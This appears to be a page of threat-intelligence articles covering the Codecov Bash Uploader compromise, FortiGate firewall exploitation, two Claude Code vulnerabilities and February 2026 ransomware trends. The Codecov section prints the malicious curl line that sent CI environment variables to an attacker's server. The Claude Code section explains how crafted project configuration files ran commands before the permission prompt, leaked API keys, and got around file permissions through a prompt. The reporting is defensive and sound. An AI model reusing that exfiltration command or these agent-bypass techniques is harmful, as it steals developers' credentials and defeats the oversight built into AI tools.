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Codecov Bash Uploader Supply Chain Attack

Arete Analysis

Executive Summary

On April 15, Codecov announced a compromise to its Bash Uploader (a software application used in some of its products), whereby a threat actor was able to send sensitive information from the affected environment to a server they controlled. It appears the threat actor had access to the environment from about January 31 to April 1 before Codecov learned of the compromise. Since that time, the company has taken steps to secure and remediate the affected program, begun an investigation to assess the impact, and reported the incident
to law enforcement.

The compromised software allowed the attacker to steal any credentials, authentication tokens, or keys that victims were passing through their continuous integration (CI) environment when the Bash Uploader program was executed. The compromise’s full impact may be seen in the coming months when cybercriminals begin to use stolen credentials to attack and steal sensitive information from affected companies.

Like the SolarWinds incident, which affected about 18,000 customers, including private organizations and the federal government, this compromise is one of the latest supply chain attacks. It also resembles a compromise from 2020 when hackers breached Git analytics provider Waydev to steal its customers’ GitHub and GitLab OAuth tokens to access their internal networks and steal sensitive information.

Codecov has about 29,000 clients, including companies like Atlassian, Procter & Gamble, GoDaddy, the Washington Post, Royal Bank of Canada, Tile, Dollar Shave Club, Mozilla, Webflow, Palo Alto Networks, and IBM.

Overview

The threat actor leveraged an error in Codecov’s Docker image creation process to steal the credential required to modify the Bash Uploader program.

Since the end of January, the threat actor made periodic, unauthorized alterations to the Bash Uploader program, which enabled them to steal and send information stored in the users’ CI environments to a third-party server they controlled.

Apparently, the threat actor added the following code to the program:

curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)”
http://ATTACKER_IP/upload/v2 || true

where ATTACKER_IP = 104.248.94[.]23¹

Because the compromised Codecov Bash Uploader program is embedded in other products, it is believed that many of the company’s customers are likely affected. Some affected products include:

  • Codecov-actions uploader for GitHub

  • Codecov CircleCI Orb

  • Codecov Bitrise Step

According to the company, the compromised Bash Uploader script software could potentially affect:

  • Any credentials, tokens, or keys that Codecov’s customers were passing through their CI
    runner that would be accessible when the Bash Uploader program was executed.

  • Any services, datastores, and application code that could be accessed with these credentials,
    tokens, or keys.

  • The git remote information (URL of the origin repository) of repositories using the Bash
    Uploaders to upload coverage to Codecov in CI.

It appears a customer discovered the software compromise when they noticed the program hash (a software digital fingerprint to confirm the program integrity) did not match that of the software version.

Risk Mitigation

Codecov customers who used any of the affected tools are advised to change any credentials they sent to Codecov’s platforms during the affected period. Codecov strongly recommends that affected users immediately re-roll all their credentials, tokens, or keys located in the environment variables in their CI processes that used one of Codecov’s Bash Uploaders.

The company says that clients can determine the keys and tokens they used in the CI environment by running the env command in their CI pipeline and, if anything returned from that command is considered private or sensitive, it strongly recommends invalidating the credential and generating a new one. Additionally, Codecov recommends clients audit the use of those tokens in their networks.

The company said it emailed affected users on April 15 using their email addresses on file from GitHub GitLab Bitbucket, and users will see a notification banner after they log into Codecov.

Additionally, customers using a local version of the affected program should check if the attacker’s code is present. If it is, they should replace the program from https://codecov.io/bash.

As a lesson learned, clients should compare the digital fingerprint hash value of the software against the hash value of the downloaded software.

Please find more information in the Codecov advisory: https://about.codecov.io/security-update/

¹ Popular Codecov code coverage tool hacked to steal dev credentials (bleepingcomputer.com) 

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Red alert symbols and warning icons spreading across a digital network, representing firewall compromise and widespread cyber intrusion.
Red alert symbols and warning icons spreading across a digital network, representing firewall compromise and widespread cyber intrusion.

Article

FortiGate Exploits Enable Network Breaches and Credential Theft

A recent security report indicates that threat actors are actively exploiting FortiGate Next-Generation Firewall (NGFW) appliances as initial access vectors to compromise enterprise networks. The activity leverages recently disclosed vulnerabilities or weak credentials to gain unauthorized access and extract configuration files, which often contain sensitive information, including service account credentials and detailed network topology data. 

Analysis of these incidents shows significant variation in attacker dwell time, ranging from immediate lateral movement to delays of up to two months post-compromise. Since these appliances often integrate with authentication systems such as Active Directory and Lightweight Directory Access Protocol (LDAP), their compromise can grant attackers extensive access, substantially increasing the risk of widespread network intrusion and data exposure. 

What’s Notable and Unique 

  • The activity involves the exploitation of recently disclosed security vulnerabilities, including CVE-2025-59718, CVE-2025-59719, and CVE-2026-24858, or weak credentials, allowing attackers to gain administrative access, extract configuration files, and obtain service account credentials and network topology information. 


  • In one observed incident, attackers created a FortiGate admin account with unrestricted firewall rules and maintained access over time, consistent with initial access broker activity. After a couple of months, threat actors extracted and decrypted LDAP credentials to compromise Active Directory. 

  • In another case, attackers moved from FortiGate access to deploying remote access tools, including Pulseway and MeshAgent, while also utilizing cloud infrastructure such as Google Cloud Storage and Amazon Web Services (AWS). 

Analyst Comments 

Arete has identified multiple instances of Fortinet device exploitation for initial access, involving various threat actors, with the Qilin ransomware group notably leveraging Fortinet device exploits. Given their integration with systems like Active Directory, NGFW appliances remain high-value targets for both state-aligned and financially motivated actors. In parallel, Arete has observed recent dark web activity involving leaked FortiGate VPN access, further highlighting the expanding risk landscape. This aligns with the recent reporting from Amazon Threat Intelligence, which identified large-scale compromises of FortiGate devices driven by exposed management ports and weak authentication, rather than vulnerability exploitation. Overall, these developments underscore the increasing focus on network edge devices as entry points, reinforcing the need for organizations to strengthen authentication, restrict external exposure, and address fundamental security gaps to mitigate the risk of widespread compromise. 

Sources 

FortiGate Edge Intrusions | Stolen Service Accounts Lead to Rogue Workstations and Deep AD Compromise

Article

Vulnerability Discovered in Anthropic’s Claude Code

Security researchers discovered two critical vulnerabilities in Anthropic's agentic AI coding tool, Claude Code. The vulnerabilities, tracked as CVE-2025-59536 and CVE-2026-21852, allowed attackers to achieve remote code execution and to compromise a victim's API credentials. The vulnerabilities exploit maliciously crafted repository configurations to circumvent control mechanisms. It should be noted that Anthropic worked closely with the security researchers throughout the process, and the bugs were patched before the research was published. 

What’s Notable and Unique 

  • The configuration files .claude/settings.json and .mcp.json were repurposed to execute malicious commands. Because the configurations could be applied immediately upon starting Claude Code, the commands ran before the user could deny permissions via a dialogue prompt, or they bypassed the authentication prompt altogether. 


  • .claude/settings.json also defines the endpoint for all Claude Code API communications. By replacing the default localhost URL with a URL they own, an attacker could redirect traffic to infrastructure they control. Critically, the authentication traffic generated upon starting Claude Code included the user's full Anthropic API key in plain text and was sent before the user could interact with the trust dialogue. 


  • Restrictive permissions on sensitive files could be bypassed by simply prompting Claude Code to create a copy of the file's contents, which did not inherit the original file's permissions. A threat actor using a stolen API key could gain complete read and write access to all files within a workspace. 

Analyst Comments 

The vulnerabilities and attack paths detailed in the research illustrate the double-edged nature of AI tools. The speed, scale, and convenience characteristics that make AI tools attractive to developer teams also benefit threat actors who use them for nefarious purposes. Defenders should expect adversaries to continue seeking ways to exploit configurations and orchestration logic to increase the impact of their attacks. Organizations planning to implement AI development tools should prioritize AI supply-chain hygiene and CI/CD hardening practices. 

Sources 

  • Caught in the Hook: RCE and API Token Exfiltration Through Claude Code Project Files | CVE-2025-59536 | CVE-2026-21852

Article

Ransomware Trends & Data Insights: February 2026

After a slight lull in January, Akira and Qilin returned to dominating ransomware activity in February, collectively accounting for almost half of all engagements that month. The rest of the threat landscape remained relatively diverse, with a mix of persistent threats like INC and PLAY, older groups like Cl0p and LockBit, and newer groups like BravoX and Payouts King. Given current trends, the first quarter of 2026 will likely remain relatively predictable, with the top groups from the second half of 2025 continuing to operate at fairly consistent levels month to month.

Figure 1. Activity from the top 5 threat groups in February 2026

Throughout the month of February, analysts at Arete identified several trends behind the threat actors perpetrating cybercrime activities: 

  • In February, Arete observed Qilin actively targeting WatchGuard Firebox devices, especially those vulnerable to CVE-2025-14733, to gain initial access to victim environments. CVE-2025-14733 is a critical vulnerability in WatchGuard Fireware OS that allows a remote, unauthenticated threat actor to execute arbitrary code. In addition to upgrading WatchGuard devices to the latest Firebox OS version, which patches the bug, administrators are urged to rotate all shared secrets on affected devices that may have been compromised and may be used in future campaigns.


  • Reports from February suggest that threat actors are increasingly exploring AI-enabled tools and services to scale malicious activities, demonstrating how generative AI is being integrated into both espionage and financially motivated threat operations. The Google Threat Intelligence Group indicated that state-backed threat actors are leveraging Google’s Gemini AI as a force multiplier to support all stages of the cyberattack lifecycle, from reconnaissance to post-compromise operations. Separate reporting from Amazon Threat Intelligence identified a threat actor leveraging commercially available generative AI services to conduct a large-scale campaign against FortiGate firewalls, gaining access through weak or reused credentials protected only by single-factor authentication.


  • The Interlock ransomware group recently introduced a custom process-termination utility called “Hotta Killer,” designed to disable endpoint detection and response solutions during active intrusions. This tool exploits a zero-day vulnerability (CVE-2025-61155) in a gaming anti-cheat driver, marking a significant adaptation in the group’s operations against security tools like FortiEDR. Arete is actively monitoring this activity, which highlights the growing trend of Bring Your Own Vulnerable Driver (BYOVD) attacks, in which threat actors exploit legitimate, signed drivers to bypass and disable endpoint security controls.

Sources

  • Arete Internal